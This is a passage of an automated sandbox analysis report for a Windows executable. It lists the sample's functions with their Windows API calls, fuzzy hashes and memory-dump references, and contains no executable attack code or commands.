          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CriticalSection$EnterInitialize$Leave
          • String ID:
          • API String ID: 713024617-3916222277
          • Opcode ID: 3414b920bbe51cf26cca0e7d003d8d11ca8e8b97a236f9ae01b3929a8968311e
          • Instruction ID: c0fcbc8b898c7fa6fb1bfeb86ae1932bbe7918e74fef67aa51b78bae9c2001be
          • Opcode Fuzzy Hash: 3414b920bbe51cf26cca0e7d003d8d11ca8e8b97a236f9ae01b3929a8968311e
          • Instruction Fuzzy Hash: EA3148725013019FD324AF66DC84B5E77D0EB51328F248E2EFA62872D1D778E8488719
          APIs
          • CreateSolidBrush.GDI32(?), ref: 0044B9BA
          • SendMessageA.USER32(?,00000030,00000000,00000000), ref: 0044B9FE
          • SendMessageA.USER32(?,000000B1,?,000000FF), ref: 0044BA34
          • SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0044BA43
            • Part of subcall function 0049605D: SetWindowTextA.USER32(?,j[B), ref: 0049606B
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$BrushCreateSolidTextWindow
          • String ID:
          • API String ID: 3501373727-0
          • Opcode ID: 9538862b6e653cc79754e37645463865c2ad9c634a32766cdf1a74481a46a38f
          • Instruction ID: 74362f281a27391331648bc55cae3448f9106f787ffb9d307016c0b6d8e5645c
          • Opcode Fuzzy Hash: 9538862b6e653cc79754e37645463865c2ad9c634a32766cdf1a74481a46a38f
          • Instruction Fuzzy Hash: AD317AB06047009FD724DF19C841B2AFBE4FB89B14F008A2EF59597791CBB9E800CB99
          APIs
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: wsprintf
          • String ID: ,cL8$0%x$tcL
          • API String ID: 2111968516-3090751108
          • Opcode ID: 27522b25c0b633879184514d7d1a11f8323c624aed63203bd3d84271e292f8a1
          • Instruction ID: 48ea5b2ddb86db0b38bcf0e8ea6b6830aa08f5fd316303fcc29d65762a41ad24
          • Opcode Fuzzy Hash: 27522b25c0b633879184514d7d1a11f8323c624aed63203bd3d84271e292f8a1
          • Instruction Fuzzy Hash: B62147716042406AD318CA20C841FBF7BE9EBC4355F548A2FF586C72C1CF6CDA09939A
          APIs
          • GetMessagePos.USER32 ref: 00414E18
          • ScreenToClient.USER32(?,?), ref: 00414E3A
          • ChildWindowFromPointEx.USER32(?,?,?,00000005), ref: 00414E50
          • GetFocus.USER32 ref: 00414E5B
            • Part of subcall function 00496198: SetFocus.USER32(?,0041A913), ref: 004961A2
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Focus$ChildClientFromMessagePointScreenWindow
          • String ID:
          • API String ID: 3117237277-0
          • Opcode ID: eade77a837c2b665a4e644b02ae9d624f951d539b182db19bd55a3a5a27de994
          • Instruction ID: a44f8e50e3b04a03f392ab92b07247e66481967724752a85ca522e885e00afe3
          • Opcode Fuzzy Hash: eade77a837c2b665a4e644b02ae9d624f951d539b182db19bd55a3a5a27de994
          • Instruction Fuzzy Hash: B821D0303003126BD6249B64CC41FABB7A9AFC4718F04852EF94497391DB38E956C79A
          APIs
          • GetVersion.KERNEL32 ref: 00480800
            • Part of subcall function 00485CC2: HeapCreate.KERNEL32(00000000,00001000,00000000,00480838,00000001), ref: 00485CD3
            • Part of subcall function 00485CC2: HeapDestroy.KERNEL32 ref: 00485D12
          • GetCommandLineA.KERNEL32 ref: 00480860
          • GetStartupInfoA.KERNEL32(?), ref: 0048088B
          • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004808AE
            • Part of subcall function 00480907: ExitProcess.KERNEL32 ref: 00480924
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
          • String ID:
          • API String ID: 2057626494-0
          • Opcode ID: cf2ba744d1dd4e98f9b14ffeb3e5831654900db454467767441d4f8aa6aff67b
          • Instruction ID: f80171b95b10e9a3d4d32c6e49136089f9984a82cb046ccf5a6670c675ab769e
          • Opcode Fuzzy Hash: cf2ba744d1dd4e98f9b14ffeb3e5831654900db454467767441d4f8aa6aff67b
          • Instruction Fuzzy Hash: E62180B1D40B05AFDB08BFA5DC46B6D7BB9EF14714F10492FF9019A2A1DB388840CB59
          APIs
          • StartPage.GDI32(?), ref: 004156D5
          • EndPage.GDI32(?), ref: 004156FB
            • Part of subcall function 00423650: wsprintfA.USER32 ref: 0042365F
            • Part of subcall function 0049605D: SetWindowTextA.USER32(?,j[B), ref: 0049606B
          • UpdateWindow.USER32(?), ref: 0041574A
          • EndPage.GDI32(?), ref: 00415762
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Page$Window$StartTextUpdatewsprintf
          • String ID:
          • API String ID: 104827578-0
          • Opcode ID: 6bc070ad13e6709891f307b569f2d37e7e6b638414909d009badd901496cb52a
          • Instruction ID: b9b9185012a4d3298086b475c8e1b09d643a2b8117bfc937b2fa0a11c172100c
          • Opcode Fuzzy Hash: 6bc070ad13e6709891f307b569f2d37e7e6b638414909d009badd901496cb52a
          • Instruction Fuzzy Hash: DC215075601F00DBC3249F3AD889BDBB7E9EFC5745F10882EE5AFC6250E634A4858B58
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Parent$RectWindow
          • String ID:
          • API String ID: 2276825053-0
          • Opcode ID: c1f9e439fee132df1401d656b5e1cc1c1a71abf4fddfa74c5056d8734cf67c54
          • Instruction ID: cfd064f4395edc8ed557cd73e1f30baae5a39cc34b3cc2f0ce87438e00c1527f
          • Opcode Fuzzy Hash: c1f9e439fee132df1401d656b5e1cc1c1a71abf4fddfa74c5056d8734cf67c54
          • Instruction Fuzzy Hash: 451160B96003056FD724DFB5C884D7B77EDEB85240F04492EB85693341EA38ED0987B4
          APIs
          • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 0048DF89
          • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000), ref: 0048DF9C
          • MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 0048DFE8
          • CompareStringW.KERNEL32(0045B1E6,00000000,00000000,00000000,?,00000000,?,00000000), ref: 0048E000
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ByteCharMultiWide$CompareString
          • String ID:
          • API String ID: 376665442-0
          • Opcode ID: ce30c5981560e6dc26a1fe5ed32b061dacbb52efe624ccbda2e1252ba85b7a4d
          • Instruction ID: c723c3da6c59c0d690b3972ecf2fe63b9440e19330c4a6ee48561110002b61bd
          • Opcode Fuzzy Hash: ce30c5981560e6dc26a1fe5ed32b061dacbb52efe624ccbda2e1252ba85b7a4d
          • Instruction Fuzzy Hash: 2C216D32800219EFDF21AF95CC459DEBFB5FF49354F10052AFA1172260C3369961EBA4
          APIs
          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040AC8D
          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040ACA6
          • GetStockObject.GDI32(00000011), ref: 0040ACB1
          • SendMessageA.USER32(?,00000030,00000000,00000001), ref: 0040ACC4
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$ObjectStock
          • String ID:
          • API String ID: 1309931672-0
          • Opcode ID: 126a4e613eadbaef2130f7fad82da8ed4c099ad8e29f0674db621cb433d3d28a
          • Instruction ID: d2fdb64b1d4e403b86c3f88c5c67e8afd963986edc3edb2938380fad330f91e9
          • Opcode Fuzzy Hash: 126a4e613eadbaef2130f7fad82da8ed4c099ad8e29f0674db621cb433d3d28a
          • Instruction Fuzzy Hash: D5114C36305310AFD624DF55E844F9BB7A9ABC8B15F05482EB605AB290C774EC428BA6
          APIs
          • GetTopWindow.USER32(?), ref: 004175CD
            • Part of subcall function 00417400: IsChild.USER32(?,?), ref: 0041747D
            • Part of subcall function 00417400: GetParent.USER32(?), ref: 00417497
          • SendMessageA.USER32(00000000,000000F0,00000000,00000000), ref: 00417626
          • SendMessageA.USER32(00000000,000000F1,00000000,00000000), ref: 00417636
          • GetWindow.USER32(00000000,00000002), ref: 0041763B
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSendWindow$ChildParent
          • String ID:
          • API String ID: 1043810220-0
          • Opcode ID: cc07ca7091070dd8f985b045044bc3400c1e581ea4b6a04863ea4b3bddfa1000
          • Instruction ID: d7d5ce4db61d24bd99df076a2446319b8a158d8c54d99d626e5faaab1657112e
          • Opcode Fuzzy Hash: cc07ca7091070dd8f985b045044bc3400c1e581ea4b6a04863ea4b3bddfa1000
          • Instruction Fuzzy Hash: 2F0184313C6B127BE23156299C46FEB72AC5F51B64F140126B701AB2E1DE58EC8281BD
          APIs
          • GetParent.USER32(?), ref: 0043CAAB
          • SendMessageA.USER32(?,000083EB,?,00000000), ref: 0043CAD5
          • SendMessageA.USER32(?,000083EC,?,00000000), ref: 0043CAE9
          • SendMessageA.USER32(?,000083E9,?,00000000), ref: 0043CB0C
            • Part of subcall function 00496084: GetDlgCtrlID.USER32(?), ref: 0049608E
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$CtrlParent
          • String ID:
          • API String ID: 1383977212-0
          • Opcode ID: 9a76040de9abb3508cbc0b9ed0ab309ea78a5b9cebb2b49d87e4e89ffce0f9ba
          • Instruction ID: 150458428a4e43389e1879d3da789bff9501fec30da319b3b7abbebb39026c30
          • Opcode Fuzzy Hash: 9a76040de9abb3508cbc0b9ed0ab309ea78a5b9cebb2b49d87e4e89ffce0f9ba
          • Instruction Fuzzy Hash: 880184B53006147BDA14EB669CC5D2FB6ACABC8B49F00451AB24597280CE69ED0287A8
          APIs
          • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 0049243B
          • GetCurrentProcess.KERNEL32(?,00000000), ref: 00492441
          • DuplicateHandle.KERNEL32(00000000), ref: 00492444
          • GetLastError.KERNEL32(00000000), ref: 0049245E
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CurrentProcess$DuplicateErrorHandleLast
          • String ID:
          • API String ID: 3907606552-0
          • Opcode ID: 4a4bb776a3015819a95451a29b04ff528b164a9cf0a63de86ea6d338835b5a3a
          • Instruction ID: 95ba0b09701465e9e445d6317ce3ff53519fa701cf52a4984e834a0da2be7a54
          • Opcode Fuzzy Hash: 4a4bb776a3015819a95451a29b04ff528b164a9cf0a63de86ea6d338835b5a3a
          • Instruction Fuzzy Hash: 9B0184367402007FEF10ABA6CD4AF5A7E9CDF84714F104176F919DB291DBA4DC008764
          APIs
          • WindowFromPoint.USER32(?,?), ref: 00490D02
          • GetParent.USER32(00000000), ref: 00490D0F
          • ScreenToClient.USER32(00000000,?), ref: 00490D30
          • IsWindowEnabled.USER32(00000000), ref: 00490D49
            • Part of subcall function 00499210: GetWindowLongA.USER32(00000000,000000F0), ref: 00499221
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$ClientEnabledFromLongParentPointScreen
          • String ID:
          • API String ID: 2204725058-0
          • Opcode ID: 497449c1fe8629387627296e1aa852c802eedfd79a2d2b59f1b7fca6816b2c48
          • Instruction ID: 81ad9e6083100f78d1e2c9a2c40bfb11045f8487cb1742354f623491a21f575a
          • Opcode Fuzzy Hash: 497449c1fe8629387627296e1aa852c802eedfd79a2d2b59f1b7fca6816b2c48
          • Instruction Fuzzy Hash: 72017136600614BF9B125B9D9C44DAF7FB9AF89750B140279F905D3324EB74DD018758
          APIs
          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040AD01
          • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040AD19
          • GetStockObject.GDI32(00000011), ref: 0040AD23
